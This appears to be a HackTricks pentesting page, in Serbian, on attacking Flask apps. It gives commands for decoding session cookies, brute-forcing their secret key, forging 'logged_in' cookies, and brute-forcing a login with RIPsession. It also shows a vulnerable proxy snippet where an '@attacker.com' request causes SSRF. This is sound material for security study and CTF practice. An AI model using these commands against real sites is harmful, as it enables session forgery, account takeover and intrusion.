hacktricks/network-services-pentesting/pentesting-web/flask.md

# Flask

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**Verovatno, ako igrate CTF, aplikacija zasnovana na Flask-u će biti povezana sa** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Podrazumevano ime sesije kolačića je **`session`**.

### Decoder

Online Flask dekoder kolačića: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Uzmi prvi deo kolačića do prve tačke i dekodiraj ga u Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Kolačić je takođe potpisan korišćenjem lozinke

### **Flask-Unsign**

Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva.

{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Dekodiraj Kolačić**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Potpisivanje**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Potpisivanje korišćenjem legacijske (stare verzije)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**

Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi u Flask sesionom kolačiću sa SQLmap

[**Ovaj primer**](../../pentesting-web/sql-injection/sqlmap/#eval) koristi sqlmap `eval` opciju da **automatski potpiše sqlmap payload-e** za flask koristeći poznatu tajnu.

## Flask Proxy za SSRF

[**U ovom izveštaju**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) objašnjeno je kako Flask omogućava zahtev koji počinje sa karakterom "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Koji od sledećih scenarija:
```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```
Može omogućiti uvođenje nečega poput "@attacker.com" kako bi izazvao **SSRF**.

<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>

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